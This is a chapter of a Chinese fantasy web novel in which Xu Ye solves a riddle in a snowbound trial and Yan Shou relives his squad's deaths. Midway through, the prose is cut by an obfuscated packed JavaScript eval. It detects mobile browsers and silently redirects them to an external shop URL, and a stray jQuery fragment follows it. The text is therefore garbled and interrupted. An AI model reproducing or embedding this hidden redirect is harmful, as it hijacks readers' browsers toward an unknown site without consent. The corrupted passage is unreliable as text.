影子说自己十分危险,并非空谈。
自从三人都到了各自选择的时钟前,眼前一阵白光闪过。
他就到了自己最熟悉此时却也最陌生的地方。
而叙夜也是这样的情况。
他睁开眼睛,第一时间感受到手中突然出现的一盏灯。
外围由层层花瓣向内状的花纹包裹,十分精致华美。
夜色沉沉笼罩下来,只留有灯中淡淡的光亮。
往前一走,他便分辨出来,脚下的是雪。
所幸,风雪看来暂时停了。
却不知会在何时席卷而来。
隐约间,两边显露出森林的轮廓。
正前方不远,是一座高耸的塔。
塔的周围奇迹般充满了光。
这让叙夜第一时间想到是白塔,但在这里,不能这么肯定。
叙夜看了看四周,毫无动静,这里,只有他一人。
掌心慢慢靠近灯,发现时间正以十分平均的时间流逝。
放下以后,他提着灯,慢慢向塔靠近。
树林中时不时发出一两声鸟叫。
却没想到,走了好一会。
叙夜的腿脚都叫嚣着发胀,完全无法再往前一步。
与塔之间的距离,却没有丝毫靠近。
他扯着嘴,艰难地在厚重的雪地中行走。
“啪——”
提灯蹬蹬滚了好一段距离。
叙夜自己重重摔倒在了雪地中,所幸,雪实在过厚,反而成了保护伞。
他暂时失去了灯,只能伸出胳膊往旁边摸索着。
许久,他终于摸到了树,扶着树,才好不容易站了起来。
喘着气,正看着提灯恍了下神。
扶着树这边,突然一阵又一阵鸟叫让他惊醒过来。
一只白鸟从他的头顶飞过,径直飞到了提灯旁。
借由提灯的光亮,叙夜看清了鸟与那时钟上的一模一样。
他的膝盖,在之前摸索起身时擦伤了,瓷片几乎破裂。
但此时,叙夜只能吸一口气,扶着树,先往灯旁边走去。
白鸟似是察觉到,扑腾了几下,又飞回了森林中。
短短几步,痛感就不禁让他跪了下来。
望着散发着温暖的提灯,他揉搓着手,明明是瓷偶,本应不觉冷暖。
可看着那灯,它莫名感到了一股冷意。
他爬了几下,伸长手臂勾住了提灯,就躲到了一旁的树下。
短暂休息以后,痛感渐渐麻木。
强烈的困意让叙夜几乎只能眯着眼,向上看时,却无意发现了树上的累累白雪。
他撑起身子,用灯一一比对了旁边的树。
最终,坐在了一个雪少的树下。
叙夜在风雪刚起时,就立刻睁开了眼睛。
此时,是白天。
但掌心的时间和闭眼时,差了3分钟。
他终于看清楚了周边的情况。
一望无际纯白的大地,两侧森林的雪覆盖得极厚。
难以想象,这里究竟下了多大的风雪。
而塔,却与叙夜想的完全不同。
和白塔几乎一致,唯一不同的是,这座塔的塔身都是各色白鸟的图案。
白鸟……
到底意味着什么?
叙夜想到昨晚提灯旁扑腾的白鸟。
他回头一看,却看到了昨夜没有发现的一扇门。
门的左边,从上至下刻着一行字:请用一字形容这里。
而另一边,是被特意镂空,刚好能放一个字的空格。
字?叙夜思索着,手摩挲着左边,发现崎岖不平。
这一行字是贴上去的!底下,还有其他字。
他轻轻将那行字揭开,底下却是一个大字。
“木。”
拿起后,他试着将这字放进了空格中。
空格闪了闪红色的光,再没了动静。
叙夜并不遗憾,他下意识不觉得这是正确答案。
他环顾一周,周围十分空荡,若说最可疑……
视线不觉地转向了刻着白鸟的塔。
可昨天怎么也到不了的塔在他心里埋下了深深的怀疑。
于是他选择换方法,向塔方向走快了些。
可他却没有发现,掌心的时间也随着他的步伐,流失得快了。
他跑了很久,可周遭的环境却没有丝毫的变化。
甚至,那塔也纹丝不动的屹立在原来的位置。
叙夜喘着气,按下腿就打算继续跑,却恰好看到了掌心的时间。
此时,时间正以一种完全不合理的速度流失。
别人的一秒,他已经三秒。
时间怎么会流失这么快?
他立刻停下了脚步。
但掌心的时间流速却没有慢下来的趋势。
这也就是说,叙夜的几个想法都被硬生生推翻了。
现在,他无路可走。
他一松手,提灯掉落在地,用它指路,来看看是否还会回到这里。
他完全冷着脸,内心却无比地焦躁。
说不定,只有他一个人,被困在这里。
他发疯似的往塔那边跑。
掌心的时间流逝竟再次加速!
森林中的白鸟似是受到了什么召唤。
齐刷刷地飞到了森林上头,却没有一只能彻底飞离。
不断盘旋飞翔,用自己的头不断撞击着四周,却被牢牢困死在这一片。
就像此时被困在此中的叙夜。
风雪也在这时陡然变大。
扑面的大风裹挟着雪,拦着他的前路。
叙夜不知跑了多久,只知道失去了对腿脚的感知。
风雪不断挤压着他的视野。
他的眼中,却只有那一座塔。
可当他被提灯绊倒,吃了一大口雪,他才稍微清醒了一些。
第一时间,他没有选择起身,而是看向了掌心的时间。
更快了,一秒居然已经是别人的六秒。
如果一直这样,那一开始的时间,根本撑不了太久!
白鸟不断在头顶鸣叫。
翅膀扇动的声音,风雪不断,他看着掌心的时间飞速下降。
他现在只有60分钟,这速度,也就是说,他只能再活10分钟!
想到这个,他果断放弃了永远到不了的塔。
转而想着那一行字的寓意。
请用一字形容这里……这里,或许又代表着什么?
最后,要形容的,并不是简单面前的事物。
他再一次抬头看向了头顶,那不断飞翔,翅膀受伤也要冲破的白鸟……
是自己。
他想了无数答案,最契合的唯一答案,只有自己。
这样的话,线索究竟在哪里?
他一边思考一边起身,一直往前,景色完全没有变化。
那往后走呢?
但风雪将前后完全遮掩住,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697692|208023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叙夜只能勉强看到了地上被雪埋了一半的提灯。
也可能是被他将完全覆盖的雪踢开了。
他上前将提灯握在手中。
第一次,将它完完全全观察了一遍。
刚刚一行字底下有字,这装饰之下说不定也有字!
他转动着花瓣,咔哒——
花瓣整个向外伸展开,露出了藏在灯内的字。
独。
叙夜找到后,没有停顿。
立刻跑回了之前那扇大门。
白鸟却猛地一起发出了叫声,向叙夜发出了冲击。
他在的附近风雪陡然加大,让他无法看清空格的位置。
叙夜抓紧着时间,一把将它放了进去。
空格散发出绿色的光芒。
白鸟和风雪倏然停下。
所有的一切,都是他自身的困境。
又是一阵白光闪过。
叙夜回到了他们分开的森林之中,此时,面前有一个宝箱。
上面有三把锁。
他的手中,就有一把刻着白鸟的钥匙。
掌心的时间,最后停留在了36分钟。
流速渐渐恢复正常。
叙夜这时才有了活下来的实感。
但此时,另外两人却还没有出现。
叙夜没有干等,打开锁后,留下文字,选择先去前面探查情况。
希望他们不要出意外才好。
他瞅了下另两个时钟,才转头离开。
也就是他离开的时候,影鸦和同僚的身影出现在了森林中。
“有线索了吗?”
他们十分狼狈,头发几乎变得发白,身形佝偻。
“没想到,吃了个大亏。”
同僚询问着影鸦,影鸦摇了摇头,无奈道。
他们慢慢走着,森林将他们的身影完全掩盖。
选择枪时钟的砚狩此时正不断射击。
他有过预想会碰到什么,却没想到,是他最不愿再回忆的过去。
面前的敌人不断倒下,明明相似的着装,此时却势同水火。
“你不要管我们了!”
身后,他小队中的队员喊道。
“队长,你快走!为我们报仇。”
“我不会再离开。”
砚狩没有回头,因为他知道,回头看见的,只有一片雾气笼罩的脸。
他的手因后坐力已经不停地发抖,可依旧不断地补充弹药,射击。
敌人从四面八方出来,血液四溅,身后的声音渐渐消失。
杀红了眼的砚狩顿感不对。
一回头,尸横遍野。
他顿时停住了,这是他梦中的梦魇。
假如他当时没有独自离开,他的队友或许都会活下来。
只有自己是逃兵。
这个想法深深折磨着他,而他脸上的疤痕也是幽册庭说他叛逃,强行毁了他的脸。
还有最后一口气的队友向砚狩伸着手。
砚狩立刻一边躲着攻击,一边将队友护住。
“队长,你快跑啊,我,我守着!”
说着,他的口中不断流出鲜血,却始终握着枪,对着面前永不止境的敌人。
他的手抖了抖,最后滑落到了地上。
砚狩清晰看到了队友的最后一刻,他的瞳孔因为心理疼痛不禁放大。
“不!”
砚狩咬着牙,摇了摇头,可依旧阻止不了一阵白光闪过。
一切重来。